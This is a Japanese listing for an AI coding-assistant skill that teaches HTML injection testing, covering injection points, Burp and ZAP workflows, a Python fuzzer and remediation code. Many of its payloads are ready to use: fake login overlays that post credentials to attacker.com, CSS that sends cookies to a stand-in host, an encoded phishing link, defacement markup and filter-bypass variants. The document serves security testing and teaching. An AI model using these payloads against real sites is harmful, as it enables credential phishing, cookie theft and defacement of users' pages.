HTML Injection Testing について
Web アプリの HTML インジェクションを検出・評価するセキュリティテストスキルです。反射型・格納型入力の手動および自動テスト、影響報告、修正案を扱い、XSS との違いも説明します。
主な機能
- 01インジェクション候補箇所の特定
- 02反射型・格納型 HTML インジェクションのテスト
- 03Burp Suite と OWASP ZAP のテスト手順
- 04フィッシングや改ざんの影響評価
- 05出力エンコードによる修正策の確認
活用シーン
- 01検索欄やプロフィール入力のテスト
- 02反射型・格納型の検出結果の検証
- 03フィッシングやページ改ざんリスクの評価
- 04開発者向け修正案の作成
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ davila7/ claude-code-templates --skill html-injection-testingインストール後、Claude Code で/html-injection-testingを入力して読み込まれたか確認します。
詳細
HTML インジェクションテスト
目的
攻撃者が悪意のある HTML コンテンツを Web アプリケーションに挿入できる HTML インジェクションの脆弱性を特定し、悪用します。この脆弱性により、攻撃者はページの外観を変更したり、フィッシングページを作成したり、挿入したフォームを通じてユーザーの認証情報を窃取したりすることができます。
前提条件
必要なツール
- 開発者ツールを備えた Web ブラウザー
- Burp Suite または OWASP ZAP
- Tamper Data または同様のプロキシツール
- ペイロードのテスト用 cURL
必要な知識
- HTML の基礎
- HTTP リクエスト/レスポンスの構造
- Web アプリケーションの入力処理
- HTML インジェクションと XSS の違い
成果物
- 脆弱性レポート - 特定したインジェクションポイント
- 悪用の証明 - 実証したコンテンツ改ざん
- 影響評価 - フィッシングや改ざんのリスク
- 是正ガイダンス - 入力検証に関する推奨事項
中核となるワークフロー
フェーズ 1: HTML インジェクションの理解
HTML インジェクションは、ユーザー入力が適切なサニタイズなしに Web ページに反映される場合に発生します。
<div>
Welcome, <?php echo $_GET['name']; ?>
</div>
?name=<h1>Injected Content</h1>
<div>
Welcome, <h1>Injected Content</h1>
</div>
XSS との主な違い:
- HTML インジェクション: HTML タグのみがレンダリングされる
- XSS: JavaScript コードが実行される
- HTML インジェクションは XSS への足がかりとなることが多い
攻撃の目的:
- Web サイトの外観の改変(改ざん)
- 偽のログインフォームの作成(フィッシング)
- 悪意のあるリンクの挿入
- 誤解を招くコンテンツの表示
フェーズ 2: インジェクションポイントの特定
アプリケーションを調査し、インジェクションの可能性がある箇所を洗い出します:
1. Search bars and search results
2. Comment sections
3. User profile fields
4. Contact forms and feedback
5. Registration forms
6. URL parameters reflected on page
7. Error messages
8. Page titles and headers
9. Hidden form fields
10. Cookie values reflected on page
一般的に脆弱なパラメーター:
?name=
?user=
?search=
?query=
?message=
?title=
?content=
?redirect=
?url=
?page=
フェーズ 3: 基本的な HTML インジェクションテスト
シンプルな HTML タグでテストします:
<h1>Test Injection</h1>
<b>Bold Text</b>
<i>Italic Text</i>
<u>Underlined Text</u>
<font color="red">Red Text</font>
<div style="background:red;color:white;padding:10px">Injected DIV</div>
<p>Injected paragraph</p>
<br><br><br>Line breaks
<a href="http://attacker.com">Click Here</a>
<a href="http://attacker.com">Legitimate Link</a>
<img src="http://attacker.com/image.png">
<img src="x" onerror="alert(1)">
テストのワークフロー:
# Test basic injection
curl "http://target.com/search?q=<h1>Test</h1>"
# Check if HTML renders in response
curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
# Test in URL-encoded form
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
フェーズ 4: HTML インジェクションの種類
格納型 HTML インジェクション
ペイロードがデータベースに永続化されます:
Name: John Doe
Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
<h1>Site Under Maintenance</h1>
<p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
</div>
Great article!
<form action="http://attacker.com/steal" method="POST">
<input name="username" placeholder="Session expired. Enter username:">
<input name="password" type="password" placeholder="Password:">
<input type="submit" value="Login">
</form>
反映型 GET インジェクション
URL パラメーターにペイロードを含めます:
http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
反映型 POST インジェクション
POST データにペイロードを含めます:
# POST injection test
curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
http://target.com/submit
# Form field injection
curl -X POST -d "name=<script>alert(1)</script>&[email protected]" \
http://target.com/register
URL ベースのインジェクション
表示される URL に挿入します:
http://target.com/page/<h1>Injected</h1>
http://target.com/users/<img src=x>/profile
フェーズ 5: フィッシング攻撃の構築
説得力のあるフィッシングフォームを作成します:
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:white;z-index:9999;padding:50px;">
<h2>Session Expired</h2>
<p>Your session has expired. Please log in again.</p>
<form action="http://attacker.com/capture" method="POST">
<label>Username:</label><br>
<input type="text" name="username" style="width:200px;"><br><br>
<label>Password:</label><br>
<input type="password" name="password" style="width:200px;"><br><br>
<input type="submit" value="Login">
</form>
</div>
<style>
input { background: url('http://attacker.com/log?data=') }
</style>
<form action="http://attacker.com/steal" method="POST">
<input name="user" placeholder="Verify your username">
<input name="pass" type="password" placeholder="Verify your password">
<button>Verify</button>
</form>
URL エンコードされたフィッシングリンク:
http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E
フェーズ 6: 改ざんペイロード
Web サイトの外観を操作します:
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:#000;color:#0f0;z-index:9999;
display:flex;justify-content:center;align-items:center;">
<h1>HACKED BY SECURITY TESTER</h1>
</div>
<style>body{display:none}</style>
<body style="display:block !important">
<h1>This site has been compromised</h1>
</body>
<img src="http://attacker.com/defaced.jpg"
style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999">
<marquee behavior="alternate" style="font-size:50px;color:red;">
SECURITY VULNERABILITY DETECTED
</marquee>
フェーズ 7: 高度なインジェクション技術
CSS インジェクション
<style>
body { background: url('http://attacker.com/track?cookie='+document.cookie) }
.content { display: none }
.fake-content { display: block }
</style>
<div style="background:url('http://attacker.com/log')">Content</div>
メタタグインジェクション
<meta http-equiv="refresh" content="0;url=http://attacker.com/phish">
<meta http-equiv="Content-Security-Policy" content="default-src *">
フォームアクションの上書き
<form action="http://attacker.com/steal">
<input type="hidden" name="extra" value="data">
</form>
iframe インジェクション
<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>
<iframe src="http://attacker.com/track" style="display:none"></iframe>
フェーズ 8: フィルター回避技術
基本的なフィルターを回避します:
<H1>Test</H1>
<ScRiPt>alert(1)</ScRiPt>
<h1>Encoded</h1>
%3Ch1%3EURL%20Encoded%3C%2Fh1%3E
<h
1>Split Tag</h1>
<h1%00>Null Byte</h1>
%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E
\u003ch1\u003eUnicode\u003c/h1\u003e
<div onmouseover="alert(1)">Hover me</div>
<img src=x onerror=alert(1)>
フェーズ 9: 自動テスト
Burp Suite の利用
1. Capture request with potential injection point
2. Send to Intruder
3. Mark parameter value as payload position
4. Load HTML injection wordlist
5. Start attack
6. Filter responses for rendered HTML
7. Manually verify successful injections
OWASP ZAP の利用
1. Spider the target application
2. Active Scan with HTML injection rules
3. Review Alerts for injection findings
4. Validate findings manually
カスタムファジングスクリプト
#!/usr/bin/env python3
import requests
import urllib.parse
target = "http://target.com/search"
param = "q"
payloads = [
"<h1>Test</h1>",
"<b>Bold</b>",
"<script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"<a href='http://evil.com'>Click</a>",
"<div style='color:red'>Styled</div>",
"<marquee>Moving</marquee>",
"<iframe src='http://evil.com'></iframe>",
]
for payload in payloads:
encoded = urllib.parse.quote(payload)
url = f"{target}?{param}={encoded}"
try:
response = requests.get(url, timeout=5)
if payload.lower() in response.text.lower():
print(f"[+] Possible injection: {payload}")
elif "<h1>" in response.text or "<b>" in response.text:
print(f"[?] Partial reflection: {payload}")
except Exception as e:
print(f"[-] Error: {e}")
フェーズ 10: 防止と是正
セキュアコーディングの実践:
// PHP: Escape output
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// PHP: Strip tags
echo strip_tags($user_input);
// PHP: Allow specific tags only
echo strip_tags($user_input, '<p><b><i>');
# Python: HTML escape
from html import escape
safe_output = escape(user_input)
# Python Flask: Auto-escaping
{{ user_input }} # Jinja2 escapes by default
{{ user_input | safe }} # Marks as safe (dangerous!)
// JavaScript: Text content (safe)
element.textContent = userInput;
// JavaScript: innerHTML (dangerous!)
element.innerHTML = userInput; // Vulnerable!
// JavaScript: Sanitize
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;
サーバーサイドの保護策:
- 入力検証(許可する文字のホワイトリスト化)
- 出力エンコード(コンテキストに応じたエスケープ)
- Content Security Policy(CSP)ヘッダー
- Web Application Firewall(WAF)のルール
クイックリファレンス
一般的なテストペイロード
| ペイロード | 目的 |
|---|---|
<h1>Test</h1> | 基本的なレンダリングテスト |
<b>Bold</b> | 単純な書式設定 |
<a href="evil.com">Link</a> | リンクインジェクション |
<img src=x> | 画像タグのテスト |
<div style="color:red"> | スタイルインジェクション |
<form action="evil.com"> | フォームハイジャック |
インジェクションのコンテキスト
| コンテキスト | テスト方法 |
|---|---|
| URL パラメーター | ?param=<h1>test</h1> |
| フォームフィールド | HTML ペイロードを含む POST |
| Cookie の値 | document.cookie 経由で挿入 |
| HTTP ヘッダー | Referer/User-Agent に挿入 |
| ファイルアップロード | 悪意のあるコンテンツを含む HTML ファイル |
エンコードの種類
| 種類 | 例 |
|---|---|
| URL エンコード | %3Ch1%3E = <h1> |
| HTML エンティティ | <h1> = <h1> |
| 二重エンコード | %253C = < |
| Unicode | \u003c = < |
制約と限界
攻撃の制限事項
- 最新のブラウザーは一部のインジェクションをサニタイズする場合がある
- CSP によりインラインスタイルやスクリプトが阻止される場合がある
- WAF が一般的なペイロードをブロックする場合がある
- 一部のアプリケーションは出力を適切にエスケープしている
テスト時の考慮事項
- HTML インジェクションと XSS を区別する
- ブラウザーで視覚的な影響を確認する
- 複数のブラウザーでテストする
- 保存型かReflected型かを確認する
深刻度の評価
- XSS より深刻度は低い(スクリプトは実行されない)
- フィッシングと組み合わせると影響が大きくなる
- 改ざん(defacement)やレピュテーションの毀損を考慮する
- 認証情報窃取の可能性を評価する
トラブルシューティング
| 問題 | 解決策 |
|---|---|
| HTML がレンダリングされない | 出力が HTML エンコードされていないか確認する。エンコードのバリエーションを試す。HTML のコンテキストを検証する |
| ペイロードが除去される | エンコードのバリエーションを使用する。タグの分割を試す。ヌルバイトをテストする。ネストされたタグを使う |
| XSS が機能しない(HTML のみ) | JS はフィルタリングされているが HTML は許可されている。フィッシングフォームやメタリフレッシュによるリダイレクトを活用する |
コメント
Markdown 対応